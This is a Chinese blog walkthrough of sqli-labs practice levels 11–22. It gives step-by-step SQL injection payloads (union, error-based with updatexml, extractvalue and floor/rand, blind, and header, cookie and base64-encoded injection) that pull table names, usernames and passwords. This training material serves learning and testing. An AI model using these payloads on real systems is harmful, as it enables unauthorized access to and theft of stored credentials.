SQL注入详解 11-22关

最新推荐文章于 2024-05-17 07:47:17 发布
最新推荐文章于 2024-05-17 07:47:17 发布
阅读量820 收藏 5
点赞数 4
分类专栏： Mysql注入天书 文章标签： sql 数据库 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45744814/article/details/120483506
版权

目录

Less-11（POST传参，联合注入）

第11关总结：
第十一关与前面的关卡不太相同，这里采用了POST传参，我们需要借助浏览器插件或者抓包工具对其参数进行修改。用户名与密码均为admin，登录成功后会回显出用户名及密码，所以我们可以尝试在参数uname与参数passwd处尝试进行注入，经过判断，发现在参数uname处存在单引号字符型注入，并且有回显能判断出字段数，所以我们使用简单的联合注入就可以完成

  1. 这里可以采用hackbar插件以POST传参来进行访问
    在这里插入图片描述
  2. 判断注入类型
#测试uname参数
admin'
admin' and 1=1#
admin' and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断注入字段数
admin' order by 2#
admin' order by 3#

在这里插入图片描述
在这里插入图片描述

  1. 判断显示位置
z' union select 1,2#

在这里插入图片描述

  1. 查看当前数据库名，及版本
z' union select database(),version()#
查询所有数据库:
z' union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述
在这里插入图片描述

  1. 查询当前数据库中的表名
z' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

  1. 查询users表中所有的列
z' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

  1. 查询数据：
z' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

Less-12（floor(),rand()报错注入）

第12关总结：
第12关这里与第11关相同，只是这里的注入类型为uname=(“admin”) ,所以我们可以采用联合注入来完成，11关刚刚用了联合注入，所以我这里使用了floor-rand注入，各种注入都尝试一下

  1. 判断注入类型
admin"
admin") and 1=1#
admin") and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
    admin") order by 2#
    在这里插入图片描述

  2. 判断显示位置

admin") union select 1,2#

在这里插入图片描述

  1. 查询当前数据库名
admin") union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查询当前数据库中表的个数
z") union select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查询users表中字段数
z") union select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查数据：
z") union select count(*),concat(0x7e,(select group_concat(username) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
z") union select count(*),concat(0x7e,(select group_concat(password) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述
在这里插入图片描述

Less-13（updatexml()报错注入）

第13关总结：
13关这里没有回显，只给出了登录提交后的状态，所以我们这里可以考虑布尔盲注，时间盲注，updatexml()报错注入，floor()报错注入等，这里与12关的步骤基本相同

  1. 判断注入类型
admin'
admin') and 1=1#
admin') and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
admin') order by 2#

在这里插入图片描述

  1. 查看显示位置（并没有显示位置）
admin') union select 1,2#

在这里插入图片描述

  1. 查看当前数据库
admin') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

在这里插入图片描述

  1. 查询当前数据库中所有的表
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

在这里插入图片描述

  1. 查询users表中所有的列
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

在这里插入图片描述

  1. 查数据
z') union select 1,updatexml(1,(select group_concat(username) from users),1)#
z') union select 1,updatexml(1,(select group_concat(password) from users),1)#

在这里插入图片描述
在这里插入图片描述

Less-14（extractvalue()报错注入）

第十四关总结：
第十四关判断出双引号字符型注入，但是没有回显，所有我可以进行布尔盲注，时间盲注。经过测试，也可以进行extractvalue()报错注入，exp报错注入等

  1. 判断注入类型
admin"
admin" and 1=1#
admin" and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
admin" order by 2#
admin" order by 3#

在这里插入图片描述

在这里插入图片描述

  1. 查询当前数据库名
admin" union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))#

在这里插入图片描述
4. 查询当前数据库中所有的表

admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

在这里插入图片描述

  1. 查询users表中所有的字段
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e))#

在这里插入图片描述

  1. 查询数据库中的数据
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))#
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))#

在这里插入图片描述
在这里插入图片描述

Less-15（布尔盲注+时间盲注）

第15关总结：
这里判断注入类型的时候没有报错信息，所以我们只能猜测注入。这里只做了重要的几步payload，其余的可以自己研究，也可参照我前面做的第5关，还是比较详细的

  1. 判断注入类型
admin' and 1=1#
admin' and 1=2#
#也可以利用sleep()函数
admin' and sleep(5)#

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. 判断注入字段数
admin' order by 2#

在这里插入图片描述

  1. 猜解当前数据库名的长度
admin' and length(database())=8#

在这里插入图片描述

  1. 二分法猜解数据库名
admin' and ascii(substr(database(),1,1))=115#

在这里插入图片描述

  1. 猜解当前数据库中表的个数
admin' and (select count(table_name) from information_schema.tables where table_schema='security')=4#

可以看出当前数据库有四个表
在这里插入图片描述

在这里插入图片描述

  1. 猜解每个表名的长度
admin' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6#

第一个表名的长度为6
在这里插入图片描述
7. 二分法猜解表名

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

在这里插入图片描述

  1. 猜解列名和数据与猜解表名的方法一样，这里不做过多演示（可以参照前面第五关）

Less-16（布尔盲注+时间盲注）

第16关总结：
第16关这里判断注入类型时没有报错信息，所以我们只能盲猜注入类型。这里和15关一样，只是改变了注入类型

盲试注入类型

admin") or 1=1#
admin") and 1=2

在这里插入图片描述
在这里插入图片描述
查看字段数

admin") order by 2#

在这里插入图片描述

Less-17（extractvale()报错注入）

第17总结：
这一关将注入点只能在参数passwd处进行注入，对参数uname处做了检查过滤。并且还有一个不同点：前面这些关卡都是以select语句进行的，这里是以update语句进行

  1. 判断注入类型
#1.输入一个引号报错，从报错信息可以看出来是单引号字符型注入
admin'
#2.输入两个引号页面显示正常，相当于这两个引号闭合，对sql语句不产生影响
admin''
#3.输入单引号和井号页面也显示正常，可以判断出注入类型为单引号字符型注入
admin'#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

开挂（查看源代码）
存在检查输入的函数
在这里插入图片描述
这里只对用户名进行了检查，并没有对密码进行检查，所以用户名处不存在注入，而密码处存在单引号字符型注入

#执行的sql语句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

在这里插入图片描述

  1. 尝试利用报错注入，查看当前数据库名
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

在这里插入图片描述
3. 查看当前数据所含的表名

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

在这里插入图片描述
4. 查看users表中所有的列名

admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

在这里插入图片描述

Less-18（User-Agent注入——extractvalue()报错注入）

第18关总结：
18关这里我们需要借助代理或者插件来完成注入，这里的注入点在User-Agent头，当我们成功登录账号时，我们可以看到User-Agent的回显。并且这里的sql语句为insert，所以我们这里借助源码来完成

  1. 成功登录后会返回User-Agent头，所以我们可以在User-Agent尝试注入
    在这里插入图片描述

  2. 替换User-Agent中的内容，我们可以发现浏览器中的User-Agent也发生变化
    在这里插入图片描述

  3. 开挂（查看源码）
    在这里插入图片描述

#mysql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  1. 测试注入类型
123'
123' and '1'='1

在这里插入图片描述
在这里插入图片描述

  1. 报错注入，查看当前数据名
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

在这里插入图片描述

  1. 查看当前数据库中所含的表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='2

在这里插入图片描述

7 查看users表中所有的列

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '1'='1

在这里插入图片描述

  1. 查看数据
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)) and '1'='1

在这里插入图片描述
在这里插入图片描述

Less-19（referer注入——updatexml()报错注入）

第19关总结：
19关的注入点在referer头，这里与第18关的注入是一模一样的，注入类型也是一样的

数据库中的sql语句

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
  1. 查看当前数据库
123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

在这里插入图片描述

  1. 查看当前数据库中所有的表
123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

在这里插入图片描述

  1. 查看users表中所有的列
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or '1'='2

在这里插入图片描述

  1. 查看数据
123' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='2
123' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '1'='1

在这里插入图片描述

在这里插入图片描述

Less-20（cookie注入——updatexml()报错注入）

第20关总结：
20关和18,19关不太一样，这里的注入点在cookie。等做完实验，查看完源代码才恍然大悟，这里的注入必须是要以GET请求方式去向服务器发送请求，这时cookie才会被带入到数据库查询，才会产生注入点。而我们在浏览器发出的POST数据包，到web服务器后会发生302重定向，所以我们真正的注入数据包应该是重定向后的那个数据包

  1. 判断注入类型：
admin'
admin' and '1'='1
admin' and '1'='1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 爆库
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

在这里插入图片描述

  1. 爆表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='2

在这里插入图片描述

  1. 爆列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and '1'='1

在这里插入图片描述

  1. 爆数据
admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1
admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

在这里插入图片描述
在这里插入图片描述

  1. 回过头来查看源码：
    6.1 我们可以发现，当我们使用POST传参的时候，只有参数uname，passwd被带入数据库查询，并且被经过滤检查。
    在这里插入图片描述

6.2 只要以非POST方式提交请求时，这是cookie才带入数据查询。那我们在浏览器中以POST提交参数时，为什么就可以在cookie处存在注入呢？？？（原因如下）
在这里插入图片描述
6.3 我们通过抓包分析
a. 点击提交，抓包
在这里插入图片描述
b. 可以看出我们发送数据包后，出现302状态码，重定向作用
在这里插入图片描述
c. 这个时候发现重定向后的包是以GET方式发送，所以可以将cookie带入数据进行查询，这个数据包才是我们真正注入的数据包。并且返会数据库文件存放路径
在这里插入图片描述
6.4 正确注入方式
不需要修改提交方式，默认以GET方式。前面的POST注入多此一举
在这里插入图片描述

Less-21（base64注入——floor(),rand()报错注入）

第21关总结：
这一关对输入的数据需要进行base64加密，因为源码中有base64解密函数，剩余的步骤与20关一致，注入点都在cookie

源码：
在这里插入图片描述

  1. 登录成功后发现，这里在cookie处做了base64加密操作，所以这里如果存在注入的话，我们要将构造好的sql语句进行base64加密，再带入数据库
    在这里插入图片描述
    受到第21关的启发，我们在注入前先抓包查看可能是哪种请求方式的注入
    POST数据包：302重定向
    在这里插入图片描述
    GET数据包：200成功响应并返回
    在这里插入图片描述

  2. 查看注入类型
    从报错信息大概可以看出来这是 ') 字符型注入
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  3. 爆库

admin') union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

  1. 爆表
admin') union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

  1. 爆列
admin') union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述
6. 爆数据

admin') union select 1,count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

Less-22（base64注入——extractvalue()报错注入）

第22关总结：
这一关与21关做法相同，只有注入类型发生变化，注入点需要输入经base64加密的payload

  1. 判断注入类型
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  2. 爆库
    在这里插入图片描述

  3. 爆表
    在这里插入图片描述

  4. 爆列
    在这里插入图片描述

  5. 爆数据
    在这里插入图片描述

君莫hacker
关注
  • 4
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
详解SQL注入--安全（二）
09-09
SQL注入是一种常见的网络安全威胁，它发生在应用程序未能正确过滤或转义用户输入的SQL语句时。当攻击者向Web表单或URL参数中输入特定的SQL命令片段时，他们可以篡改数据库查询，获取敏感信息，甚至控制整个数据库...
SQL注入详解（扫盲篇）
09-09
SQL注入是一种常见的网络安全威胁，它发生在web应用程序中，由于开发者未能正确过滤或验证用户输入的数据，使得攻击者能够向数据库提交恶意的SQL语句。在本文中，我们将深入理解SQL注入的基本概念、工作原理以及常见...
sql注入第11关
qq_45751902的博客
03-14 3974
这关采用post的方式传参 定闭合符 使用’ or 1=1 # 回显正常 使用" or 1=1 #，回显报错（可以尝试更多的闭合符，这里就不一一实现了） 实现原理 查询列数 ’ order by 2 # ’ order by 3 # 所以有两列 找显示位 查数据库名 'union select 1,database()# 查表名 ' union select 1,group_concat(table_name) from information_schema.tables where tab
POST注入-SQL-labs(11关)
weixin_51706044的博客
05-09 514
文章目录一、万能密码二、判断闭合符号三、查询列数四、找显示位 一、万能密码 对于万能密码的类型是根据SQL注入的情况而判断的，这里举例几个SQL注入中常见的几个类型： 1.xxx’ or 1 = 1#(最后的#可以换成-- (记住如果是-- 的最后有个空格)) 【这种是比较通用的】 2.xxx’ or ‘1’ = ‘1(最后可以加#或者加-- (记住如果是-- 的最后有个空格)) 3.xxx” or “1” = “1 4.xxx”) or (“1”) = (“1 其实对于表单注入：在用户名密码框当
SQLi LABS Less-13 报错注入+布尔盲注_ sqli less-13 (1)
2401_84265909的博客
05-17 926
登录成功时，会提示成功（写死的图片）；截取当前使用数据库名字的第一个字符，为了方便脚本的编写，这里将字符转换为ASCLL再判断。页面显示数据库的报错信息，从报错信息中判断出，注入点为：单引号+括号的字符型注入。猜中第一个字符以后，再用此方法枚举其余字符，为了提高效率，稍后使用脚本自动化枚举。接下来使用穷举法，枚举该字符的所有可能性（对应的ASCLL码为：32~126）。从1开始递增测试的长度，可判断出具体的长度，稍后使用脚本自动化猜解。字符的ASCLL码肯定大于1，页面正常显示，表示payload可用。
基于Sql-Labs靶场的SQL注入-11~16关
Joker
12-31 719
这里我讲述了POST提交方式的注入方法，用到的注入类型为联合注入、报错注入、布尔盲注三种。
bwapp---sql注入第十一关过关过程及分析
weixin_45821250的博客
12-07 261
报错没爆出来，但是插入的方式解决了。SQL Injection - Stored (Blog)
Sqli-labs之Less-13和Less-14
→_→
04-05 1147
Less-13 POST单引号变形双注入 由题意可知，有单引号闭合的问题，所以在输入框中分别输入 1' 和 1，看返回结果： 报错，从信息中得知还有一个小括号，测试 1') or 1=1 -- # 登录成功发现不在返回用户名和密码信息。 从以上的信息中...
SQL注入详解.docx
最新发布
07-11
### SQL注入详解 #### 一、SQL注入概述 SQL注入是一种常见的网络安全攻击方式，通过将恶意的SQL代码插入到应用程序的输入字段中，利用应用程序的安全漏洞执行非授权操作，如非法获取敏感数据、修改数据库中的数据...
SQL注入思路详解
12-14
SQL注入是一种常见的网络安全威胁，它利用了Web应用程序在处理用户输入数据时的不足，使得攻击者能够构造恶意的SQL语句来控制或篡改数据库。本文将深入解析SQL注入的思路，帮助你理解和防范这种攻击。 首先，SQL...
Less21-22 (基于base64的cookie注入)
老司机开代码的博客
08-03 320
文章目录1. 题目分析2. 通关思路 1. 题目分析 目前已经完成了Basic Challenges,相信小伙伴们对于SQL注入也有了一定程度的理解。但是，还是脱离不了小白的称号，那么今天我们就向Advanced Injections进军。 首先还是先登录进去看一下情况， 这一关卡和Less20的手法其实是一摸一样的，只不过多了一道加密解密的步骤。通过观察这个cookie可以判断出来是一个加密过后的密文，而题目也给出了是base64加密，那么我们就把这个复制下来解密一下看看。 可以看到YWRtaW4=其
SQL注入实战之报错注入篇（updatexml extractvalue floor）
qq_41272376的博客
03-03 1385
SQL注入实战之报错注入篇（updatexml extractvalue floor） 知识铺垫 在上一篇中我们在漏洞页面中进行了SQL注入实战之联合查询，这篇文章带来的是SQL注入之报错注入篇。 首先我们来细分一下SQL注入分类 SQL注入分类： 回显正常—> 联合查询 union select 回显报错—> Duplicate entry() extractvalue() 　　 updatexml() 盲注 —>布尔型盲注 基于时间的盲注sleep()
SQL注入之报错注入（floor、extractvalue、updatexml）
qq_60463414的博客
07-31 1772
sql注入之报错注入
基于联合查询的字符型GET注入
Z_l123的博客
02-16 1088
1.访问SQLi-Labs网站 访问Less-1，并根据网页提示给定一个GET参数 http://127.0.0.1/sqli-labs/Less-1/?id=1 2.寻找注入点 分别使用以下3条payload寻找注入点及判断注入点的类型: http://127.0.0.1/sqli-labs/Less-1/?id=1' 运行后报错！ http://127.0.0.1/sqli-labs/Less-1/?id=1' and '1'='1 运行后正常显示！ http:/.
SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因
大大大蜜蜂的博客
10-12 5235
SQL报错型注入原理 一、xpath语法格式错误的报错： mysql5.1.5版本中添加了extractvalue()、updatexml()函数，它们两个分别能够对XML文档进行查询、修改操作，下面分别对这两个函数进行介绍。 这里是MYSQL对extractvalue()和updatexml()的官方介绍 1、extractvalue(xml_frag, xpath_expr)：从一个使用xpath语法的xml字符串中提取一个值。 xml_frag：xml文档对象的名称，是一个string类型。 xpat
小白报错注入学习（以extractvalue函数报错为例）
qq_35075142的博客
04-18 279
XPath_string (Xpath格式的字符串)：XPath_string (Xpath格式的字符串)：Xpath_string是xpath格式的字符串。：Xpath_string是xpath格式的字符串。：String 格式，替换查找到的符合条件的数据。：String 格式，替换查找到的符合条件的数据。：String 格式，XML 文档对象的名称。：String 格式，XML 文档对象的名称。如果要等效为联合注入的格式的话，是这样子：1。：string格式，为xml文档对象的名称。
sqli-labs笔记
weixin_64183637的博客
08-02 264
sqli-labs闯关记录
sqli-labs 11-16
weixin_45442394的博客
09-14 291
一、环境配置 二、访问192.168.182.167:8001 Less-11 输入admin’，出现语法错误，存在字符型注入 admin’ or ‘1’=’1，登录成功 admin’ order by 2#，页面回显，有两列 -admin’ union select 1,2 #，判断显示位 -admin’ union select 1,database() #，判断数据库名称 查数据库“security”的表： -admin’ union select 1,group_concat(ta
SQL注入实战：sqli-labs实验详解
"sqli-labs实验指导手册详细介绍了如何通过搭建sqli-labs实验平台来学习和实践SQL注入攻击及防御。本实验手册主要针对基于单引号的字符型联合注入进行深入解析，帮助读者理解SQL注入的原理，并提供逐步解密数据库...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值